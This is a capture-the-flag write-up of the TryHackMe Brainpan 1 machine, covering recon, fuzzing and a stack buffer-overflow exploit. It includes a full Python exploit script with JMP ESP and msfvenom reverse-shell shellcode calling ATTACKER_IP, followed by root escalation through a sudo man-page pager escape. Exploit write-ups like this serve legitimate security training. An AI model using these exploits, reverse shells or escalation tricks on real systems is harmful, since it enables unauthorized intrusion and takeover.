All credit to superkojiman for this machine, used here with the explicit permission of the creator.

Sounds like my kind of party.

No flags are requested in this room. Only the honor system, contingent on integrity. Like The Dude, I abide.

Reconnaissance

export IP=TARGET_IP
echo $IP
nmap -Pn -sC -sV -p- -T4 -oA brainpan1_initial $IP
nmap -Pn -sV -p9999,10000 TARGET_IP
Nmap scan results showing port 9999 Brainpan service and port 10000 Python SimpleHTTPServer

Port 9999 is officially coined the goth port. abyss reminds me of the 2005 classic “I’m an emo kid” video. “Not jumping” (IYKYK).

Nmap output confirming open ports 9999 and 10000 with service details

Open ports:

  • 9999/tcp: Brainpan password service
  • 10000/tcp: Python SimpleHTTPServer

Grabbing the binary

The web server is hosting the vulnerable program. Download it locally for analysis:

curl -s http://TARGET_IP:10000/ | head -80
curl -s http://TARGET_IP:10000/bin/ | head -80
curl listing SimpleHTTPServer root and /bin/ directory revealing brainpan.exe

I spy an executable.

mkdir -p ~/ctf/tryhackme/brainpan1
cd ~/ctf/tryhackme/brainpan1
wget http://TARGET_IP:10000/bin/brainpan.exe
ls -la
file brainpan.exe
wget downloading brainpan.exe and file command confirming 32-bit Windows console executable

brainpan.exe confirmed as a 32-bit Windows console executable.

Confirming live service behavior

Connect to goth port 9999:

nc -nv TARGET_IP 9999
Netcat connecting to port 9999 showing the Brainpan password prompt Brainpan service returning access denied on bad password input

What we know about goth port 9999:

  • Password prompt
  • Reads user input
  • Returns access denied

Fuzzing

nano brainpan_fuzz.py
#!/usr/bin/env python3
import socket
import time

target = "TARGET_IP"
port = 9999

for size in range(100, 2000, 100):
    print(f"Trying {size} bytes")
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target, port))
        s.recv(1024)
        s.sendall(b"A" * size + b"\r\n")
        s.close()
        time.sleep(1)
    except Exception as e:
        print(f"Crashed or disconnected around {size} bytes: {e}")
        break
python3 brainpan_fuzz.py
Fuzzer output showing successful sends through 600 bytes then crash around 700 bytes

The password input buffer handled 600 A’s, but the service broke around the 700 mark. Initial fuzzing confirms a likely stack-based buffer overflow in the password input.

Service still alive after the crash:

nc -nv TARGET_IP 9999
Netcat confirming the Brainpan service recovered and is still accepting connections

Cyclic pattern

Generate a unique 1000-byte pattern to identify the exact crash offset:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 > pattern.txt
nano brainpan_pattern.py
#!/usr/bin/env python3
import socket

target = "TARGET_IP"
port = 9999

with open("pattern.txt", "rb") as f:
    payload = f.read().strip()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.recv(1024)
s.sendall(payload + b"\r\n")
s.close()

print("Sent pattern.")
python3 brainpan_pattern.py
nc -nv TARGET_IP 9999
1000-byte cyclic pattern sent and service crashed, confirming overflow in the control area

The 1000-byte pattern overwrote the control area and crashed the service.

The exact EIP value is not obtainable without a debugger attached. This is the same constraint as Brainstorm: the remote THM service crashes but the crash screen is not visible.

The common Brainpan offset under near-identical conditions is 524. That value is used here.

Control test

nano brainpan_control_test.py
#!/usr/bin/env python3
import socket

target = "TARGET_IP"
port = 9999

offset = 524

payload = b"A" * offset
payload += b"B" * 4
payload += b"C" * 100

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.recv(1024)
s.sendall(payload + b"\r\n")
s.close()

print("Sent control test.")

A’s fill the buffer. BBBB should land where EIP would be. C’s sit after it.

python3 brainpan_control_test.py
Control test sending A*524 + BBBB + C*100 to the service
nc -nv TARGET_IP 9999
Service crashed again after control test payload, supporting the 524-byte offset

Service crashed again. This does not prove BBBB landed in EIP since the debugger is still unavailable. It supports that the offset from near-identical conditions is plausible.

Finding JMP ESP in brainpan.exe

Wait for the service to recover, confirm it’s back up, then search the binary for jump spots:

ROPgadget --binary brainpan.exe | grep -i "jmp esp"
ROPgadget output showing JMP ESP at 0x311712f3 in brainpan.exe

JMP ESP validated locally from brainpan.exe. When the program crashes, execution points here. That instruction then jumps into the payload placed right after.

Written backwards for Python (little-endian):

jmp_esp = b"\xf3\x12\x17\x31"

Exploit summary so far:

  • Offset: 524 (near-identical conditions, crash-test supported)
  • JMP ESP: 0x311712f3 (locally validated from brainpan.exe)
  • Target: Linux host running the vulnerable service

Generating shellcode

The service runs on a Linux host despite the Windows .exe. The shellcode must match the target OS:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -b '\x00' -f python -v shellcode > shellcode.txt
msfvenom generating Linux x86 reverse shell shellcode avoiding null bytes

Verify:

head shellcode.txt
tail shellcode.txt
head and tail of shellcode.txt confirming shellcode variable and byte array contents

Crafting the exploit

nano brainpan_exploit.py
#!/usr/bin/env python3
import socket

target = "TARGET_IP"
port = 9999

offset = 524
jmp_esp = b"\xf3\x12\x17\x31"
nops = b"\x90" * 32

exec(open("shellcode.txt", "r").read())

payload = b"A" * offset
payload += jmp_esp
payload += nops
payload += shellcode

print(f"Payload length: {len(payload)}")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.recv(1024)
s.sendall(payload + b"\r\n")
s.close()

print("Sent.")

Syntax check:

python3 -m py_compile brainpan_exploit.py
python3 -m py_compile returning no output, syntax check passed

All clear.

Exploitation

Listener:

nc -lvnp 4444

In a separate terminal:

python3 brainpan_exploit.py
brainpan_exploit.py sending the payload to port 9999 Netcat listener catching the reverse shell from the Brainpan overflow exploit

The overflow was a success.

whoami
hostname
id
whoami and id confirming shell as puck on the Brainpan host

Post-exploitation enumeration

Shell stabilization:

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
pwd
ls -la
sudo -l
Shell stabilized as puck, sudo -l showing anansi_util NOPASSWD entry

puck can run one specific program as root without a password: /home/anansi/bin/anansi_util.

Inspect how it behaves:

sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util -h
anansi_util usage menu showing available options including manual anansi_util help output confirming manual command option
sudo /home/anansi/bin/anansi_util
anansi_util interactive menu with manual, proclist, and network options

The cleanest path: manual [command]. It opens a man page as root. Man pages open in a pager like less, and less can escape to a shell.

Privilege escalation via pager escape

sudo /home/anansi/bin/anansi_util manual ls
anansi_util manual ls opening the ls man page as root in a pager

The pager is waiting for input:

Man page pager prompt at the bottom of the screen waiting for input

Type ! at the prompt. An ! will appear at the bottom. Type /bin/bash immediately after it so it reads !/bin/bash, then hit Enter.

Pager escape with !/bin/bash typed at the bottom prompt

Root prompt.

whoami
id
pwd
whoami and id confirming root shell after pager escape Root shell fully established showing prompt and working directory

Full Attack Chain

Nmap
  -> 9999 Brainpan service
  -> 10000 Python SimpleHTTPServer
  -> found /bin/brainpan.exe
  -> downloaded PE32 executable
  -> confirmed password prompt on 9999
  -> fuzzing crash around 700 bytes
  -> cyclic pattern sent, EIP not readable without debugger
  -> offset 524 from near-identical validated conditions
  -> ROPgadget on brainpan.exe: JMP ESP at 0x311712f3
  -> msfvenom Linux x86 reverse shell (target is Linux despite Windows exe)
  -> exploit sent to port 9999
  -> shell as puck
  -> sudo -l: anansi_util NOPASSWD
  -> anansi_util manual opened man page as root
  -> pager escape with !/bin/bash
  -> root shell

Notes: The JMP ESP address was locally validated from the downloaded binary. The exact offset was treated as derived from near-identical conditions since EIP was not read in a debugger during the Kali-only path.